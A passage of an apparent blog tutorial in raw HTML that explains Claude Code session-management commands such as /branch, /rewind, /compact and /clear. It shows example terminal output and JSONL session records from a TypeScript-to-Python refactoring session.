● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/types/index.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 96 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/ui/output.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 64 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/vitest.config.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 15 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/README.md&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 314 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/lib/remote.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 334 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/lib/marker.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read 61 lines

● Read&lt;span class="o"&gt;(&lt;/span&gt;/opt/claude/universal-skill-converter/src/lib/metadata.ts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/branch&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;Note: This command's name was &lt;code&gt;/fork&lt;/code&gt; up until &lt;code&gt;Claude Code v2.1.77&lt;/code&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Normally, your prompts and the tools responses form a linear structure. If you are at a decisive point, e.g. during refactoring, and want to investigate different outcomes, you can create a fork from this conversation.&lt;/p&gt;

&lt;p&gt;Executing this command effectively copies your current session to a new one, and prints how to resume the existing one.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/fork
 Branched conversation. You are now &lt;span class="k"&gt;in &lt;/span&gt;the branch.
     To resume the original: claude &lt;span class="nt"&gt;-r&lt;/span&gt; d907194e-ba58-4640-9e32-49727cc351b5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/rewind&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Conversations are a linear sequence of user prompts, LLM invocation, and printed answers. Every interaction point, and the state of the current working directory, is stored as an internal snapshot. If, during a longer session, the code base you are working on evolved to an undesired state, you can rollback to any of those snapshots.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;/rewind&lt;/code&gt; command first shows you all of these snapshots ...&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; Rewind

 Restore the code and/or conversation to the point before…

   Refactor this app to python. Write the plan file &lt;span class="s2"&gt;"refactor-to-python.md"&lt;/span&gt;
   No code changes

   /model
   No code changes

   Refactor this app to python. Write the plan file &lt;span class="s2"&gt;"refactor-to-python.md"&lt;/span&gt;
   serene-waddling-newt.md +553 &lt;span class="nt"&gt;-2&lt;/span&gt;

 ❯ /batch implement the universal-skill-converter plan
   No code changes

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;... and the allows cursor navigation to select from where to rebegin. When you make a selection, you are asked what to keep.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; Confirm you want to restore to the point before you sent this message:

 │ Refactor this app to python. Write the plan file &lt;span class="s2"&gt;"refactor-to-python.md"&lt;/span&gt;
 │ &lt;span class="o"&gt;(&lt;/span&gt;52m ago&lt;span class="o"&gt;)&lt;/span&gt;

 The conversation will be forked.
 The code will be restored +0 &lt;span class="nt"&gt;-550&lt;/span&gt; &lt;span class="k"&gt;in &lt;/span&gt;serene-waddling-newt.md.

 ❯ 1. Restore code and conversation
   2. Restore conversation
   3. Restore code
   4. Summarize from here
   5. Never mind

 ⚠ Rewinding does not affect files edited manually or via bash.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/exit&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The current session can be immediately stopped with this command. The return message will either name the session ID, the session name if you provided one, or if you used the &lt;code&gt;/branch&lt;/code&gt; command, its name.&lt;/p&gt;

&lt;p&gt;For a named session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Resume this session with:
claude &lt;span class="nt"&gt;--resume&lt;/span&gt; &lt;span class="s2"&gt;"refactor-to-python"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And for a branch:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /exit
Resume this session with:
claude &lt;span class="nt"&gt;--resume&lt;/span&gt; &lt;span class="s2"&gt;"Refactor this app to python. Write the plan file &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;refactor-to-python.md&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; (Branch)"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/resume&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;An exited conversation can be resumed either via the CLI flag or when inside a session. Here is an example for the second option.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/resume refactor-to-python
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Context Management
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/context&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Context is the sum of the loaded &lt;code&gt;CLAUDE.md&lt;/code&gt; files, memory files, prompts, mcp servers, skills, user and system messages. During long sessions, the context fills up, and this command visualizes the accumulated structure.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F03ptnx6ezy0raz37lwg4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F03ptnx6ezy0raz37lwg4.png" width="656" height="646"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/compact&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;During very long sessions with Claude, answer quality might degrade, code quality drops, and more and more fixes are required to keep code running. This is an indicator that the overall context contains too many instructions, which confuse the model.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;/compact&lt;/code&gt; command refreshes the context. But what actually happens when this command is executed? The JSONL session file is amended with a new document. And this document summaries the most important user and system messages. And from then on, any new request that is send to the LLM provider starts with this summary document only, resulting in an alltogether fresh context.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /compact
  ⎿  Compacted &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to see full summary&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/lib/remote.ts &lt;span class="o"&gt;(&lt;/span&gt;334 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/lib/marker.ts &lt;span class="o"&gt;(&lt;/span&gt;61 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read README.md &lt;span class="o"&gt;(&lt;/span&gt;314 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/ui/output.ts &lt;span class="o"&gt;(&lt;/span&gt;64 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Plan file referenced &lt;span class="o"&gt;(&lt;/span&gt;~/.claude/plans/fluttering-growing-lecun.md&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Observe the new document in the session history:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"parentUuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"logicalParentUuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"b165d9aa-6aab-4597-9187-954b7f5c6666"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isSidechain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"system"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"subtype"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"compact_boundary"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Conversation compacted"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isMeta"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-04-09T15:58:03.769Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"uuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"a37533f8-0993-4750-964c-8ba724430fe8"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"info"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"compactMetadata"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"trigger"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"manual"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"preTokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;54247&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"userType"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"external"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"entrypoint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cli"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"cwd"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/opt/claude/universal-skill-converter"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sessionId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"3a0213a0-5ef4-420c-8d11-1bda03f41a1a"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"gitBranch"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"feature/refactor-to-python"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"slug"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fluttering-growing-lecun"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"parentUuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"a37533f8-0993-4750-964c-8ba724430fe8"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isSidechain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"This session is being continued from a previous conversation that ran out of context. The summary below covers the earlier portion of the conversation.
  Summary:
  1. Primary Request and Intent:
     - Refactor the universal-skill-converter app from TypeScript to Python
     - Create plan file &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;refactor-to-python.md&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;
     - Later: Execute the plan using batch mode with parallel workers
     - Maintain all functionality (local and remote conversion, 10-step conversion process)
     - Preserve security features (safe YAML parsing, path validation)
     - Maintain testing coverage (&amp;gt;70% target)
     - Keep identical CLI interface and command names
  2. Key Technical Concepts:
     - TypeScript/Node.js to Python migration
     - CLI framework (Click instead of commander)
     - Data validation (Pydantic instead of Zod)
     - YAML parsing with safe_load equivalent
     - Terminal formatting (Rich instead of picocolors + @clack/prompts)
     - Git operations (GitPython)
     - File system operations (sync instead of async)
     - Layered architecture (CLI, Core, Models, UI layers)
     - Skill format conversion (skill.sh → clawhub)
     - GitHub repository fetching and caching
     - Test-driven development with pytest
  3. Files and Code Sections:
     - `/opt/claude/universal-skill-converter/package.json`
       - Contains project metadata and dependencies
       - Shows current tech stack: commander, js-yaml, zod, @clack/prompts
       - Scripts: dev, build, test, typecheck, lint, format

     - `/opt/claude/universal-skill-converter/tsconfig.json`
       - TypeScript configuration with strict mode enabled
       - ESNext target with bundler module resolution

     - `/opt/claude/universal-skill-converter/src/commands/convert.ts`
       - Main CLI command implementation (226 lines)
       - Handles remote/local source detection
       - Options: path, output, force, verbose, json, skill, ref, keep-temp
       - Command structure: `skill-convert convert &amp;lt;path-or-url&amp;gt;`

     - `/opt/claude/universal-skill-converter/src/lib/converter.ts`
       - Conversion orchestrator (101 lines)
       - 10-step conversion process: marker check, validation, file reading, directory creation, metadata generation, transformation, migration, license copy, scripts copy, marker creation

     - `/opt/claude/universal-skill-converter/src/types/index.ts`
       - Zod schemas for type safety
       - ConvertOptionsSchema, SkillShFrontmatterSchema, ClawhubFrontmatterSchema, MetaJsonSchema, ConversionMarkerSchema, ConversionResultSchema, ValidationResultSchema, ConversionContextSchema

     - `/opt/claude/universal-skill-converter/src/lib/remote.ts`
       - GitHub repository handling (333 lines)
       - Functions: parseRemoteSource, isRemoteSource, validateGitInstalled, validateGitHubRepo, fetchGitHubRepo, fetchRemoteSkill, retryWithBackoff
       - Caching in ~/.skill-convert/cache/ for 24 hours

     - `/opt/claude/universal-skill-converter/src/lib/marker.ts`
       - Conversion tracking with .converted_from_skillsh marker file
       - Functions: readConversionMarker, writeConversionMarker, isAlreadyConverted, removeConversionMarker

     - `/home/node/.claude/plans/serene-waddling-newt.md`
       - Comprehensive Python refactoring plan
       - Detailed file structure mapping (14 TypeScript modules → Python equivalents)
       - Module-by-module implementation details
       - Testing strategy with pytest
       - Migration phases and timeline (~12 hours)
  4. Errors and fixes:
     - No technical errors encountered during conversation
     - User feedback: When I attempted to exit plan mode, user said &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;No&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; and indicated they didn't want the plan executed at that time
     - User later provided specific preferences: Click framework, identical interface, &amp;gt;70% coverage, sync I/O
  5. Problem Solving:
     - Analyzed existing TypeScript codebase architecture to understand conversion requirements
     - Designed Python equivalent tech stack (Click, Pydantic, Rich, GitPython)
     - Mapped TypeScript modules to Python equivalents
     - Created detailed implementation plan with work units for parallel execution
     - Established testing strategy with pytest and temporary directory isolation
  6. All user messages:
     - &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;Refactor this app to python. Write the plan file 'refactor-to-python.md'&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;
     - User answers to design questions: Click framework, identical interface, &amp;gt;70% coverage, sync I/O
     - &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;No, don't execute the plan.&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;
     - &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;implement the universal-skill-converter plan&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; (via /batch command)
  7. Pending Tasks:
     - Complete the batch execution plan with work unit decomposition
     - Determine e2e test recipe for verifying conversions
     - Exit plan mode and spawn parallel workers for implementation
     - Track progress of multiple workers implementing different modules
     - Create pull requests for each work unit
  8. Current Work:
     I was in the middle of creating a detailed batch execution plan after the user issued the &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;/batch implement the universal-skill-converter plan&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; command. I had:
     - Explored additional files (remote.ts, marker.ts, meta.ts)
     - Started analyzing the codebase for work unit decomposition
     - Was preparing to create a plan file with 15-30 independent, mergeable work units
     - Was designing the e2e test recipe for conversion verification
     - Had entered plan mode and was in the exploration phase
  9. Optional Next Step:
     Continue the batch execution planning by:
     1. Completing the work unit decomposition (creating 15-20 independent units covering project setup, core modules, models, UI layer, CLI layer, and testing)
     2. Designing the e2e test recipe (CLI verification commands, test skill conversion workflow)
     3. Writing the complete plan file to /home/node/.claude/plans/serene-waddling-newt.md
     4. Exiting plan mode to present the plan for approval

     Based on the user's explicit request: &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;implement the universal-skill-converter plan&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; via batch mode, the next step should focus on finalizing the detailed execution plan for parallel worker implementation.
  If you need specific details from before compaction (like exact code snippets, error messages, or content you generated), read the full transcript at: /home/node/.claude/projects/-opt-claude-universal-skill-converter/3a0213a0-5ef4-420c-8d11-1bda03f41a1a.jsonl"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isVisibleInTranscriptOnly"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isCompactSummary"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"uuid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"9eb02f5b-d4a9-4352-9f64-f1ba5975cecf"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-04-09T15:58:03.769Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"userType"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"external"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"entrypoint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cli"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"cwd"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/opt/claude/universal-skill-converter"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sessionId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"3a0213a0-5ef4-420c-8d11-1bda03f41a1a"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.1.91"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"gitBranch"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"feature/refactor-to-python"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"slug"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fluttering-growing-lecun"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From here, you cannot use the &lt;code&gt;rewind&lt;/code&gt; command to progress further back, the compacted session is the new starting point.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/clear&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;During very long sessions with Claude, answer quality might degrade, code quality drops, and more and more fixes are required to keep code running. This is an indicator that the overall context contains too many instructions, which confuse the model.&lt;/p&gt;

&lt;p&gt;When compaction does not help, you need to &lt;code&gt;/clear&lt;/code&gt; the context completely.&lt;/p&gt;

&lt;p&gt;Here is the command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/clear
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Internally, a new session ID is generated, and the JSONL file starts from scratch.&lt;/p&gt;

&lt;p&gt;And here is the change to the session file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.claude/projects/-opt-claude-universal-skill-converter/e008d275-5119-45bf-b3ba-541e1845b369.jsonl

&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"file-history-snapshot"&lt;/span&gt;,
  &lt;span class="s2"&gt;"messageId"&lt;/span&gt;: &lt;span class="s2"&gt;"7fe3cfbe-a428-4709-a756-98db0d487968"&lt;/span&gt;,
  &lt;span class="s2"&gt;"snapshot"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"messageId"&lt;/span&gt;: &lt;span class="s2"&gt;"7fe3cfbe-a428-4709-a756-98db0d487968"&lt;/span&gt;,
    &lt;span class="s2"&gt;"trackedFileBackups"&lt;/span&gt;: &lt;span class="o"&gt;{}&lt;/span&gt;,
    &lt;span class="s2"&gt;"timestamp"&lt;/span&gt;: &lt;span class="s2"&gt;"2026-04-09T16:06:47.905Z"&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"isSnapshotUpdate"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"parentUuid"&lt;/span&gt;: null,
  &lt;span class="s2"&gt;"isSidechain"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
  &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"user"&lt;/span&gt;,
  &lt;span class="s2"&gt;"message"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"role"&lt;/span&gt;: &lt;span class="s2"&gt;"user"&lt;/span&gt;,
